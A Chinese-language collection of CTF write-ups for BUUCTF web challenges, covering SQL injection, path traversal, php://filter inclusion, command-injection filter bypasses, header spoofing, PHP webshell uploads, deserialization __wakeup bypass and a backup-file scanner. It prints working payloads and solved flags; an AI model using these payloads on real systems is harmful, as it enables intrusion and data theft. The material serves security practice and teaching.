目录
一.SQL注入
(1)[极客大挑战 2019]EasySQL
万能密码
(7)[SUCTF 2019]EasySQL
堆叠注入
解一:
解二:
(10)[强网杯 2019]随便注
堆叠注入
解一:
解二:
解三:
(8)[极客大挑战 2019]LoveSQL
联合查询
(15)[极客大挑战 2019]BabySQL
二.代码审计
(2)[极客大挑战 2019]Havefun
GET传参
(3)[HCTF 2018]WarmUp
三.文件包含-PHP封装协议
(4)[ACTF2020 新生赛]Include
PHP封装协议
(9)[极客大挑战 2019]Secret File
四.命令注入
(5)[ACTF2020 新生赛]Exec
(6)[GXYCTF2019]Ping Ping Ping
方法一:拼接绕过法
方法二:内联执行法
方法三:sh编码
五.Http
(11)[极客大挑战 2019]Http
六.一句话木马
(12)[极客大挑战 2019]Upload
(13)[极客大挑战 2019]Knife
(14)[ACTF2020 新生赛]Upload
七.备份文件&反序列化
(16)[极客大挑战 2019]PHP
方法一:用序列化加%00
方法二:直接url编码(不能用url编码工具)
(17)[ACTF2020 新生赛]BackupFile
八.PHP
(18)[RoarCTF 2019]Easy Calc
方法一:PHP的字符串解析特性
方法二:http走私攻击
九.弱相等&强相等&md5
(19)[极客大挑战 2019]BuyFlag
(20)[BJDCTF2020]Easy MD5
一.SQL注入
(1)[极客大挑战 2019]EasySQL
万能密码
admin
' or 1#
1'or 1#
1'or 1=1
1' or '1'='1(有时不行,特别是用户)
(7)[SUCTF 2019]EasySQL
先判断一下是数字型(1)还是字符型(1'),输入1有回显,输入1'无回显无error,初步可以判断目标字段是数字型
当你通过输入
1
能正常获取到回显,是因为在 SQL 语句中,对于数字型字段,直接传入一个数值(如1
)是符合语法逻辑的,数据库能够正常执行查询并返回结果。而输入1'
无回显,是因为单引号'
在 SQL 中用于标识字符串,对于数字型字段,1'
这种输入破坏了 SQL 语句的语法结构,导致查询出错无法返回正常结果。
堆叠注入
堆叠注入简单讲就是多条sql语句一起执行,在Mysql中,我们是通过;号来结束一条语句,只需要在每个sql语句后面加上;即可同时执行所有语句
爆出数据库:1;show databases;
回显信息 Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test ) 是以数组形式呈现的,每个 Array 代表一个数据库名,1是异常显示
爆表:1;show tables;
爆字段:1;show columns from Flag;
输入后回显Nonono.,猜测有被过滤
解一:
试了一下,本题没有过滤*,用*查询flag中的所有字段,所以直接构造:*,1
相当于select *,1 from flag
会返回 flag 表中的所有列(由 * 表示),并且会额外添加一个值恒为 1 的列到查询结果集中
解二:
1;set sql_mode=pipes_as_concat;select 1
将 sql_mode 设置为 pipes_as_concat 时,意味着在后续的 SQL 语句中,逻辑或 || 会被当作字符串连接操作符来使用
相当于select concat(1,flag) from Flag
sql注入不区分大小写,但过滤区分大小写
(10)[强网杯 2019]随便注
1'报error,说明是'闭合
或者这样理解
因为1或1'#有回显,所以是'闭合
1
2
3
查询3时无回显,说明只有有两个字段
或者这样('前面的1不能够省)
1' order by 1 #
1' order by 3 #
测试字段数,到3时报error,说明字段数为2
#和-- q在 SQL 中都用于注释(q(显眼作用)可以换成其他字母或数字,也可以不要,但前面要有个空格)
1;set sql_mode=pipes_as_concat;select 1
发现select被过滤了
整体功能概述
这段代码的主要功能是使用正则表达式来检查字符串 $inject 中是否包含特定的 SQL 关键字(如 select、update、delete 等)或点号(.)。这通常用于防止 SQL 注入攻击,通过检测用户输入中是否包含可能用于构造恶意 SQL 语句的关键字。
1. preg_match 函数
preg_match 是 PHP 中的一个正则表达式匹配函数,用于在字符串中查找与指定正则表达式匹配的内容。
2. 正则表达式模式 "/select|update|delete|drop|insert|where|\./i"
正则表达式模式通常由两部分组成:模式本身和修饰符。
模式部分:select|update|delete|drop|insert|where|\.
|:是正则表达式中的或运算符,表示匹配 | 分隔的任意一个模式。
select、update、delete、drop、insert、where:分别代表 SQL 语句中的关键字,用于查询、更新、删除、删除表、插入数据和条件筛选等操作。
\.:点号在正则表达式中有特殊含义,表示匹配任意单个字符,因此需要使用反斜杠 \ 进行转义,这里表示匹配实际的点号字符。
修饰符部分:i
i 是一个修饰符,表示不区分大小写。这意味着无论 $inject 中的关键字是大写、小写还是混合大小写,都能被匹配到。
3. $inject
这是一个变量,代表要进行匹配的字符串,通常是用户输入的内容。
4. return 语句
return 语句用于将 preg_match 函数的返回值返回。preg_match 函数返回值的含义如下:
如果匹配成功,返回 1。
如果没有匹配到任何内容,返回 0。
如果发生错误,返回 false。
select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。只剩下了堆叠注入
堆叠注入
爆数据库:1';show databases;
或者
1';show databases;#
1';show databases;-- q
爆表名:1'; show tables;#
爆字段
1'; show columns from words;#
1'; show columns from `1919810931114514`;#
注意:表名为数字时,要用反引号`包起来查询
解一:
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
alter table words add id int unsigned not Null auto_increment primary key;
向 words 表中添加一个名为 id 的列,数据类型为 int unsigned(无符号整数),NOT NULL 表示该列不允许为空,AUTO_INCREMENT 表示该列的值会自动递增,PRIMARY KEY 表示将该列设置为主键。
alter table words change flag data varchar(100);
将 words 表中的 flag 列重命名为 data,并将其数据类型修改为 varchar(100),即最大长度为 100 的可变长度字符串。
解二:
因为select被过滤了,所以先将select * from `1919810931114514`进行16进制编码
1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
SET 语句:SET 用于设置用户变量的值,在 MySQL 中,用户变量以 @ 开头。这里使用 SET 语句将十六进制编码的字符串赋值给变量 @a
prepare execsql from @a;
prepare 语句:这是 SQL 的预处理语句,用于准备一个 SQL 语句,以便后续执行。execsql 是预处理语句的名称,可以自定义。from @a 表示从变量 @a 中获取要准备的 SQL 语句。
prepare 语句会对十六进制编码的字符串进行解码,将其转换为可执行的 SQL 语句。这样,原本被编码的 select 语句就可以正常使用了
execute 语句:用于执行由 prepare 语句创建的预处理 SQL 语句。这里 execsql 是前面 PREPARE 语句定义的预处理语句名称
select可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
这样会出错
1’;set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
&& 是 PHP 中的逻辑与运算符,用于组合两个布尔表达式。只有当两个表达式的结果都为 true 时,整个逻辑表达式的结果才为 true;只要有一个表达式的结果为 false,整个逻辑表达式的结果就为 false。
因此,strstr($inject, "set") && strstr($inject, "prepare") 的结果为 true 时,表示字符串 $inject 中同时包含 "set" 和 "prepare" 这两个子字符串就会返回上述界面,相当于同时过滤"set" 和 "prepare" ,一个大写Set即可绕过
解三:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler 语句:handler 是 MySQL 特有的语句,用于直接操作表中的数据,可实现对表的打开、读取、关闭等操作,且无需使用 select关键字。
open 操作:此操作的作用是打开指定的表,这里指定的表名为 1919810931114514。
as `a`:为打开的表指定一个别名 `a`,后续可通过这个别名来操作该表。
handler `a` read next;
这部分代码使用 handler 语句的 read next 操作,通过之前指定的别名 a 来读取 1919810931114514 表中的下一行数据。首次执行 read next 时,会读取表中的第一行数据;后续每次执行,都会读取表中的下一行数据。
(8)[极客大挑战 2019]LoveSQL
联合查询
'#
NO,Wrong username password!!!
'
error
以上两种方式都可以判断是'闭合,推荐第一种,因为第二种还可能"闭合
'or 1#
Login Success!
or 1#
"or 1#
NO,Wrong username password!!!
也可以判断是字符型'闭合
1' order by 1#
1' order by 2#
1' order by 3#
或者 'order by 3# (1和'的空格都可以不要),一直到3都回显正常(没有报错,只是说账号密码错误)。
1' order by 4#
直到order by 4的时候,报错了。判断出有三个字段,接下来开始寻找注入点。
1' union select 1,2,3#
或者
/check.php?username=1&password=1' union select 1,2,3%23
2、3回显,存在注入点
爆数据库:
1' union select 1,2,database()#
或者
1' union select 1,database(),3#
得到数据库名为geek
爆第一个表名:geekuser
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
爆第二个表名:l0ve1ysq1
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#
或者使用group_concat()一次性爆出所有表名,顺便利用2爆数据库名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列名:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
——id,username,password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
——id,username,password
爆数据:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
或者(#的url编码为%23)
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
最后查看源码
而下面这个表得到的是无用信息
1' union select 1,2,group_concat(id,username,password) from geekuser#
(15)[极客大挑战 2019]BabySQL
判断闭合
'#
NO,Wrong username password!!!
'
error
以上两种方式都判断是'闭合
由报错信息可知存在SQL注入漏洞
常规注入:/check.php?username=admin&password=1' union select 1#
或者直接登录 1' union select 1#
根据报错信息猜测union 、select可能被过滤了,试一下双写绕过(一个完整的关键字插入到同一完整关键字中间)
/check.php?username=admin&password=1' ununionion seselectlect 1#
继续报错,可能#也被过滤了,#换成url编码%23,有变化,证明有戏,或者-- q(它会自动变为--%20q)
/check.php?username=admin&password=1' ununionion seselectlect 1%23
或者
/check.php?username=admin&password=1' ununionion seselectlect 1--%20q
/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
字段为3,2和3回显
爆数据库:
/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
information_schema.schemata 是 MySQL 系统数据库 information_schema 中的一个表,这个表存储了所有数据库的元数据信息,通过查询这个表可以获取到当前 MySQL 服务器上所有数据库的名称。
上面这个侧重于获取所有数据库名称,下面这个专注于获取当前使用的数据库名称。
/check.php?username=admin&password=1' ununionion seselectlect 1,2,database()%23
而且如果直接information_schema.schemata,它就显示infmation_schema.schemata这个表不存在,它把o和r过滤了一次,所以才有infoorrmation_schema.schemata
猜测flag在ctf里
爆表:(where时报错,所以它也被过滤了)
/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:(爆字段名就是爆列名)
/check.php?username=admin&password=1 ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
爆数据:
/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23
UNION 是 SQL 中的操作符,用于将两个或多个 SELECT 语句的结果集合并成一个结果集。使用 UNION 要求参与合并的 SELECT 语句列数和数据类型要一致
from ctf.Flag:指定查询的数据来源,ctf 是数据库名,Flag 是表名。表示从 ctf 数据库的 Flag 表中查询数据。
group_concat(flag):group_concat 是一个聚合函数,它会将 flag 字段(或者又叫flag列名)中的所有值连接成一个字符串。
ctf.Flag的ctf不能省,因为当前使用的数据库名是geek,不是ctf,所以你要指定访问,不然报错
二.代码审计
(2)[极客大挑战 2019]Havefun
GET传参
发现一个cat变量,通过get方式传参,如果cat=dog输出flag,构造:?cat=dog
(3)[HCTF 2018]WarmUp
查看源码,查找php,依次访问
is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
发现最底部的if语句,有三个条件,第一个判断文件不能为空(检查是否传了file参数),第二这个传的参数是字符串,第三要过白名单检测,过了之后包含隐藏了flag的文件。
白名单是source.php和hint.php,又有mb_strpos和mb_substr截取内容,碰到?就截止,所以只需要输入 ?file=source.php?或者?file=source.php?即可绕过白名单检测,然后在输入../逐级跳转目录读取flag即可,可以一个一个试,发现是5级目录
?file=source.php?../../../../../ffffllllaaaagggg
或者?file=hint.php?../../../../../ffffllllaaaagggg
又或者
?file=hint.php?../../../../../../../../../../ffffllllaaaagggg
可多,不可少
三.文件包含-PHP封装协议
(4)[ACTF2020 新生赛]Include
PHP封装协议
PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
构造:?file=php://filter/read=convert.base64-encode/resource=flag.php
(php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后base64解码就可以看到flag)
(9)[极客大挑战 2019]Secret File
BurpSuite抓包:
1.代理开拦截
2.打开内置浏览器
3.加载url
4.放行
5.关拦截
内置浏览器ctrl+a,点开所有隐藏连接
查看响应,发现一个被注释掉的secr3t.php
查看:/secr3t.php
提示flag放在了flag.php里,查看:/flag.php
还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,
构造:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
四.命令注入
(5)[ACTF2020 新生赛]Exec
ls(list files):列出目前工作目录所含文件及子目录
cat(concatenate):用于连接文件并打印到标准输出设备上
列出当前工作目录所含文件及子目录: 127.0.0.1|ls
只出现index.php,查看index.php:127.0.0.1|cat index.php
查看根目录:127.0.0.1|ls /
或者; cd /; ls
出现flag,查看flag:127.0.0.1|cat /flag
在 Linux 文件系统中,
/
是根目录的表示符号。路径分为绝对路径和相对路径。绝对路径是以/
开头,表示从根目录开始的路径。/flag
表示从根目录下查找名为flag
的文件,使用cat
命令(用于查看文件内容)去读取/flag
文件的内容。如果不加
/
,即cat flag
,这是一个相对路径,它表示在当前所在目录下去查找名为flag
的文件。如果当前目录下不存在flag
文件,就会提示找不到该文件的错误信息。除非先 cd / 切换到根目录,此时根目录成当前工作目录,再用 cat flag (相对路径 )能找到。; cd /; cat flag
(6)[GXYCTF2019]Ping Ping Ping
提示/?ip=
输入/?ip=127.0.0.1,回显成功
列出当前目录的所有文件:/?ip=127.0.0.1|ls
查看flag.php:?ip=127.0.0.1|cat flag.php
fxck your space就是过滤空格的意思
命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt ($IFS$9 $9指传过来的第9个参数,可以换成其他数字)
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
第三个方法常用:/?ip=127.0.0.1|cat$IFS$9flag.php
试了之后发现flag也被过滤了
查看另外一个index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
过滤:
特殊符号:&、/、?、*、<、>、'、"、\、(、)、[、]、{、}
空白字符:[\x{00}-\x{20}] 表示 Unicode 编码范围从 0x00 到 0x20 的字符,涵盖了所有空白字符,像空格、制表符、换行符等。
else if(preg_match("/ /", $ip)){
die("fxck your space!");
此正则表达式 / / 过滤的是单个空格字符
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
此正则表达式 /bash/ 过滤的是字符串 "bash"
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
此正则表达式 /.*f.*l.*a.*g.*/ 过滤的是包含字母 f、l、a、g 且这些字母可以被任意数量的其他字符分隔的字符串,例如 "flag"、"aflag"、"f1l2a3g" 等
好多都被过滤了;但最后有个变量a
方法一:拼接绕过法
变量拼接字符串——将a的值覆盖,然后进行绕过
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之,替换掉空格和flag,拼接成cat flag.php
可以拼接f;lag fl;ag fla;g,比如这样也行
/?ip=127.0.0.1;a=ag;cat$IFS$9fl$a.php
或者将lag替换成x,绕过对flag的检测
?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php
命令执行后页面什么也没有,查看源码拿下flag{93fb0eb5-1144-4d1a-ae9b-fa5b3d14ccab}
方法二:内联执行法
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
可以看到代码没有过滤掉符号` ,反引号在linux中作为内联执行,执行输出结果。所以可以利用内联执行的方式直接打开flag文件
/?ip=127.0.0.1;cat$IFS$9`ls`
相当于先执行命令ls,再把ls得到的文件名全部用命令cat打开
方法三:sh编码
使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo cat flag.php | base64
解密命令并执行
echo Y2F0IGZsYWcucGhw | base64 -d | sh
sh可以换成bash,但是bash被过滤了
这里用base64,也可以换成其他的编码形式
然后用$IFS$9代替空格(I和;前后的空格可以省;前者可;可|)
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
或者
/?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
又或者
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
;和|的区别
A;B
返回A和满足A的B
A|B
只返回满足A的B
五.Http
(11)[极客大挑战 2019]Http
查看源代码,搜索php,发现有一个Secret.php,点击访问
提示:It doesn’t come from ‘https://Sycsecret.buuoj.cn’,也就是说这个页面得来自https://Sycsecret.buuoj.cn,添加referer即可
题目是http ,很容易想起HTTP协议中的HTTP报文 header ,请求头和响应头。也就是有一些协议内容。比如上面提示不是来自https://Sycsecret.buuoj.cn,就可以在header中添加上 Referer:https://Sycsecret.buuoj.cn ,来伪造访问来源,Referer协议就是告诉服务器我从哪里来,所以抓包修改。
添加后访问,提示请使用 Syclover 浏览器,这就可以想到用User-Agent协议来伪造访问工具为 Syclover 浏览器,这个协议就是告诉服务器我是用什么访问的。添加User-Agent: Syclover。再次提示No!!! you can only read this locally ,你只能在本地阅读
只能在本地,我们可以伪造本地ip 127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问,这时得到
flag{56094062-41ae-4f1f-8621-267bb4122dc8}
六.一句话木马
(12)[极客大挑战 2019]Upload
提示的是图片上传,格式就是图片格式
先创建一个木马文件,以便后续用蚁剑链接
文件内容为
GIF89a <script language="php">eval($_POST['a']);</script>
用记事本来写,改后缀名为phtml
先上传一句话木马,这里是phtml格式的
对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。
上传此文件,然后提示Not image!
原因:我们上传的是文件,不是它要求的图片,格式不对,直接抓包修改格式
在内置浏览器也要重新上传木马
发送repeater模块修改
更改这个Content-Type: 为image/jpeg,即是我们上传的文件格式绕过,这里PHP格式也不行,一直试到phtml可以(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
蚁剑连接
URL地址为:/upload/12.phtml
连接密码为:a
分别对应文件名和参数名
右键添加数据
测试连接
连接成功
再添加
双击打开,flag在根目录下
难找的话,右键打开虚拟终端,输入:cat /flag
或者把1.txt(含木马)改为1.jpg上传,然后只改后缀名为1.phtml
不能上传这个<?php eval($_POST[a]);?>
(13)[极客大挑战 2019]Knife
eval($_POST["Syc"]);
eval是PHP代码执行函数,把字符串按照 PHP 代码来执行。
$_POST PHP方法将参数Syc作为POST传参方式
根据提示,打开蚁剑添加数据
密码为:Syc
(14)[ACTF2020 新生赛]Upload
不能直接上传.phtml
上传一句话木马
<?php eval($_POST[a]);?>
或者
GIF89a <script language="php">eval($_POST['a']);</script>
后缀名为.jpg
抓包,修改.jpg为.phtml(如果是第一个木马,就改为.php)
url为响应给的./uplo4d/74f569c7bc687698e79971a972e36dd6.phtml
七.备份文件&反序列化
(16)[极客大挑战 2019]PHP
这儿提示备份网站,
所以我们尝试着输入网站源码备份文件,看看能否访问
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
发现www.zip可以成功获得网站源码备份
或者
用dirsearch扫一下后台目录
dirsearch -u http://97a13367-80f4-4641-9db9-da99af59ff35.node5.buuoj.cn:81/ -e php
要点时间才能扫描完毕,结束标记:Task Completed
扫描报告里也可以搜索得到www.zip
其实这个工具一坨
访问一下,自动下载www.zip
喜欢脚本
"""url备份文件扫描脚本"""
import requests
from tqdm import tqdmurl1 = 'http://d6ed50c0-d6f1-40f5-80c6-27a14eece070.node5.buuoj.cn:81/'
with open('List1.txt') as f:list1 = f.read().splitlines()
list2 = ['tar', 'tar.gz', 'zip', 'rar', '7-zip', '7z', 'bak', 'swp', 'php.bak']
total_requests = len(list1) * len(list2)
with tqdm(total=total_requests, desc="Scanning URLs") as pbar:for i in list1:for j in list2:back = f"{i}.{j}"url = f"{url1}/{back}"response = requests.get(url, timeout=10)if response.status_code == 200:print(f"{back} {response.status_code}")if 'text/html' not in response.headers.get('Content-Type', '').lower():with open(f'XZ/{back}', 'wb') as file:file.write(response.content)pbar.update(1)
flag.php(这个flag一看就是假的,没有这么简单)
index.php关键信息
发现文件包含 class.php 文件,并且文件是get 传参,参数为 select
unserialize() :从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在)
//$res=unserialize(@$select);
这段代码的作用是将一个字符串反序列化为一个PHP变量。
代码的步骤如下:
1. @$select 表示选择变量$select的值,如果$select存在则取其值,否则返回空值。
2. unserialize() 函数将字符串反序列化为一个PHP变量。
3. 将反序列化后的结果赋值给$res变量
class.php
<?php
// 包含名为 flag.php 的文件,该文件可能包含敏感信息(如标志、密钥等)
include 'flag.php';// 关闭所有 PHP 错误报告,避免在页面上显示错误信息,增强安全性
error_reporting(0);// 定义一个名为 Name 的类,用于处理用户的用户名和密码
class Name{// 声明一个私有属性 $username,初始值为 'nonono'private $username = 'nonono';// 声明一个私有属性 $password,初始值为 'yesyes'private $password = 'yesyes';// 构造函数,当创建 Name 类的新对象时自动调用// 接收两个参数 $username 和 $password,用于初始化对象的属性public function __construct($username, $password){// 将传入的 $username 参数赋值给对象的 $username 属性$this->username = $username;// 将传入的 $password 参数赋值给对象的 $password 属性$this->password = $password;}// __wakeup 魔术方法,当对象被反序列化时自动调用function __wakeup(){// 将对象的 $username 属性重置为 'guest'$this->username = 'guest';}// __destruct 魔术方法,当对象被销毁时自动调用function __destruct(){// 检查对象的 $password 属性是否不等于 100if ($this->password != 100) {// 如果不等于 100,输出提示信息,表明是黑客行为echo "</br>NO!!!hacker!!!</br>";// 输出用户名提示信息echo "You name is: ";// 输出对象的 $username 属性值echo $this->username;// 换行echo "</br>";// 输出密码提示信息echo "You password is: ";// 输出对象的 $password 属性值echo $this->password;// 换行echo "</br>";// 终止脚本执行die();}// 检查对象的 $username 属性是否严格等于 'admin'if ($this->username === 'admin') {// 如果等于 'admin',使用 global 关键字引入全局变量 $flagglobal $flag;// 输出全局变量 $flag 的值,可能是敏感信息echo $flag;} else {// 如果 $username 不等于 'admin',输出友好提示信息echo "</br>hello my friend~~</br>sorry i can't give you the flag!";// 终止脚本执行die();}}
}
?>
本题的关键,就是username的赋值。因为 __wakeup 会对userneme又进行一次赋值的更改,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username的赋值
通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag
构造序列化
一.直接在class.php添加
// 创建 Name 类的对象,设置用户名和密码 $obj = new Name('admin', 100);// 序列化对象 $serialized = serialize($obj);// 输出序列化后的字符串 echo $serialized;
PHP 在线工具 | 菜鸟工具
接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup
绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法
// __wakeup 在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
所以我们要将 2 改为 3 或者 比2大的数字
同时,我们要将口变为 %00 ,若不写,在我们复制的时候就会减少空格
方法一:用序列化加%00
private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
其他构造方法
<?phpclass Name{private $username = 'admin';private $password = '100';
}$select = new Name();
$res = serialize(@$select);
echo $res;
?>
//$select = new Name();
这段代码创建了一个名为$select的新对象,该对象是通过调用Name类的构造函数来实例化的
1. 创建一个新的对象$select。
2. 使用关键字new来实例化对象。
3. 实例化对象时调用Name类的构造函数,该构造函数可能包含一些初始化代码或设置对象的初始状态。
总结:这段代码创建了一个新的Name对象$select,并调用了该对象的构造函数来初始化对象。
O:4:"Name"
O:表示这是一个对象(Object)的序列化数据。
4:表示对象类名的长度。
"Name":表示对象所属的类名是 Name。
:2:
表示该对象有 2 个属性。
{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
这部分是对象属性的具体内容,每个属性由键值对组成,多个键值对之间没有分隔符直接排列。具体解释如下:
s:14:"Nameusername"
s:表示属性名是字符串(String)类型。
14:表示属性名 "Nameusername" 的长度。
"Nameusername":属性名。
s:5:"admin"
s:表示属性值是字符串(String)类型。
5:表示属性值 "admin" 的长度。
"admin":属性 "Nameusername" 对应的值。
s:14:"Namepassword"
s:表示属性名是字符串(String)类型。
14:表示属性名 "Namepassword" 的长度。
"Namepassword":属性名。
s:3:"100"
s:表示属性值是字符串(String)类型。
3:表示属性值 "100" 的长度。
"100":属性 "Namepassword" 对应的值。
而我们的Nameusername 只有12个字符,这里的14怎么来的呢?
大家可以理解为Name 和username 是拼接起来的 所以在Name和username这里各有一个空格,所以就是14个字符了
又因为我们的空格没有被实体化 这里我们需要把空格写出来,而空格的url编码是%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
至于上面那个2是为什么要变成3
__wakeup 在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
所以我们要将 2 改为 3 或者 比2大的数字
同时,我们要将口变为 %00 ,若不写,在我们复制的时候就会减少空格
当然这种构造也行
<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>
方法二:直接url编码(不能用url编码工具)
<?php
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));//进行url编码,防止%00对应的不可打印字符在复制时丢失
?>
只需要把2改为3,?select=....,不要双引号
(17)[ACTF2020 新生赛]BackupFile
题目提示BackupFile,备份文件夹的意思
打开脚本下载的index.php.bak
发现它通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
取key的值为123,?key=123
八.PHP
(18)[RoarCTF 2019]Easy Calc
查看源码,变量为num,请求类型为GET,以及发现一个calc.php
访问:/calc.php
解题知识点:
chr() 函数:从指定的 ASCII 值返回字符。
file_get_contents() 函数:把整个文件的内容读入到一个字符串中。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字符串,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。
方法一:PHP的字符串解析特性
尝试一下:/calc.php?num=phpinfo()
num前加个空格:/calc.php? num=phpinfo()或者/calc.php?%20num=phpinfo()
空格的url编码为%20
phpinfo() 是 PHP 的一个内置函数,它会输出当前 PHP 环境的详细信息,包括 PHP 版本、加载的扩展、服务器配置等内容
以上证明了PHP的字符串解析特性方法的可行性
由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行根目录读取:
47是/的ascii码,虽然/并不在黑名单内,但服务器端可能存在其他的过滤机制或者环境限制,总之这题的/被过滤了
/calc.php? num=1;var_dump(scandir(chr(47)))
构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
字符串拼接:. 是 PHP 中的字符串连接运算符,将 chr() 函数返回的字符依次连接起来,得到字符串 /f1agg。
file_get_contents() 函数:该函数用于读取文件的内容,将拼接好的字符串 /f1agg 作为文件路径,尝试读取该文件的内容。
var_dump() 函数:var_dump() 函数用于输出变量的详细信息,包括变量的类型和值。这里将 file_get_contents() 函数返回的文件内容作为参数传递给 var_dump() 函数,最终会将文件内容及其详细信息输出到页面上。
方法二:http走私攻击
/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
